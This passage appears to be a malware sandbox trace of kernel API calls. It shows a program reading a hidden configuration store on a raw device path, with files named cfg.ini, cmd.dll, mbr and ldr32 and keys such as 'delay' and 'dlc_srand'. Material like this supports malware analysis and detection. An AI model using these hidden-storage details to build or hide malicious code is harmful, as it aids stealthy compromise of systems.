_MaxCount=0x10) returned -10 [0119.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.974] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.974] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.974] KeLeaveCriticalRegion () [0119.974] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.974] ReleaseMutex (hMutex=0x100) returned 1 [0119.974] Sleep (dwMilliseconds=0x2bf20) [0119.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ab586f0, dwHighDateTime=0x1d24fa4)) [0119.981] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.981] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.981] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.981] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.981] KeEnterCriticalRegion () [0119.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.981] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.981] IdePortDispatch () returned 0x103 [0119.981] KeWaitForMutexObject () returned 0x0 [0119.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.981] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.981] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.981] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.981] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.981] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcce50 [0119.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.981] KeLeaveCriticalRegion () [0119.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.981] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.981] KeEnterCriticalRegion () [0119.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.981] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.981] KeLeaveCriticalRegion () [0119.982] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.982] KeEnterCriticalRegion () [0119.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.982] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.982] IdePortDispatch () returned 0x103 [0119.982] KeWaitForMutexObject () returned 0x0 [0119.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.982] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.982] KeLeaveCriticalRegion () [0119.982] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.982] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.982] KeEnterCriticalRegion () [0119.982] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2d000 [0119.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.982] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.982] IdePortDispatch () returned 0x103 [0119.982] KeWaitForMutexObject () returned 0x0 [0119.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.982] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.982] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.982] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.982] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.982] IdePortDispatch () returned 0x103 [0119.983] KeWaitForMutexObject () returned 0x0 [0119.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.983] KeLeaveCriticalRegion () [0119.983] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.983] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.983] KeEnterCriticalRegion () [0119.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.983] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.983] KeLeaveCriticalRegion () [0119.983] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.983] KeEnterCriticalRegion () [0119.983] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.983] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.983] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.983] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.983] KeLeaveCriticalRegion () [0119.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.984] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.984] KeEnterCriticalRegion () [0119.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.984] ExFreePoolWithTag (P=0xfffffa8003bcce50, Tag=0x0) [0119.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.984] KeLeaveCriticalRegion () [0119.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.984] ReleaseMutex (hMutex=0xf0) returned 1 [0119.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.984] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.984] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.984] KeEnterCriticalRegion () [0119.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.984] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.984] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.984] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.984] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.984] IdePortDispatch () returned 0x103 [0119.984] KeWaitForMutexObject () returned 0x0 [0119.984] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.984] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.984] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.984] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.984] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.984] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb880 [0119.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.984] KeLeaveCriticalRegion () [0119.984] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.984] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.984] KeEnterCriticalRegion () [0119.984] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.984] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.984] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.984] KeLeaveCriticalRegion () [0119.985] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.985] KeEnterCriticalRegion () [0119.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.985] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.985] IdePortDispatch () returned 0x103 [0119.985] KeWaitForMutexObject () returned 0x0 [0119.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.985] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.985] KeLeaveCriticalRegion () [0119.985] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.985] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.985] KeEnterCriticalRegion () [0119.985] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.985] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2e000 [0119.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.985] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.985] IdePortDispatch () returned 0x103 [0119.985] KeWaitForMutexObject () returned 0x0 [0119.985] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.985] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.985] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.985] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.985] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.985] IdePortDispatch () returned 0x103 [0119.986] KeWaitForMutexObject () returned 0x0 [0119.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.986] KeLeaveCriticalRegion () [0119.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.986] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.986] KeEnterCriticalRegion () [0119.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.986] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.986] KeLeaveCriticalRegion () [0119.986] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.986] KeEnterCriticalRegion () [0119.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.986] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.986] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.986] KeLeaveCriticalRegion () [0119.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.986] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.987] KeEnterCriticalRegion () [0119.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.987] ExFreePoolWithTag (P=0xfffffa8003bdb880, Tag=0x0) [0119.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.987] KeLeaveCriticalRegion () [0119.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.987] ReleaseMutex (hMutex=0xf0) returned 1 [0119.987] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.987] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.987] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.987] KeEnterCriticalRegion () [0119.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.987] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.987] IdePortDispatch () returned 0x103 [0119.987] KeWaitForMutexObject () returned 0x0 [0119.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.987] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.987] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.987] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.987] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.987] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd2c0 [0119.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.987] KeLeaveCriticalRegion () [0119.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.987] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.988] KeEnterCriticalRegion () [0119.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.988] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.988] KeLeaveCriticalRegion () [0119.988] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.988] KeEnterCriticalRegion () [0119.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.988] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.988] IdePortDispatch () returned 0x103 [0119.988] KeWaitForMutexObject () returned 0x0 [0119.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.988] KeLeaveCriticalRegion () [0119.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.988] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.988] KeEnterCriticalRegion () [0119.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.988] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b2f000 [0119.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.988] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.988] IdePortDispatch () returned 0x103 [0119.988] KeWaitForMutexObject () returned 0x0 [0119.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0119.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0119.989] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.989] IdePortDispatch () returned 0x103 [0119.989] KeWaitForMutexObject () returned 0x0 [0119.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.989] KeLeaveCriticalRegion () [0119.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.989] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.989] KeEnterCriticalRegion () [0119.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.989] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.989] KeLeaveCriticalRegion () [0119.989] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.989] KeEnterCriticalRegion () [0119.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.990] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.990] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.990] KeLeaveCriticalRegion () [0119.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.990] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.990] KeEnterCriticalRegion () [0119.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.990] ExFreePoolWithTag (P=0xfffffa8003bcd2c0, Tag=0x0) [0119.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.990] KeLeaveCriticalRegion () [0119.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.990] ReleaseMutex (hMutex=0xf0) returned 1 [0119.990] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.990] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.990] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.990] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.990] KeEnterCriticalRegion () [0119.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.990] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.990] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.990] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.990] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.990] IdePortDispatch () returned 0x103 [0119.990] KeWaitForMutexObject () returned 0x0 [0119.990] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.990] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.990] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.990] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 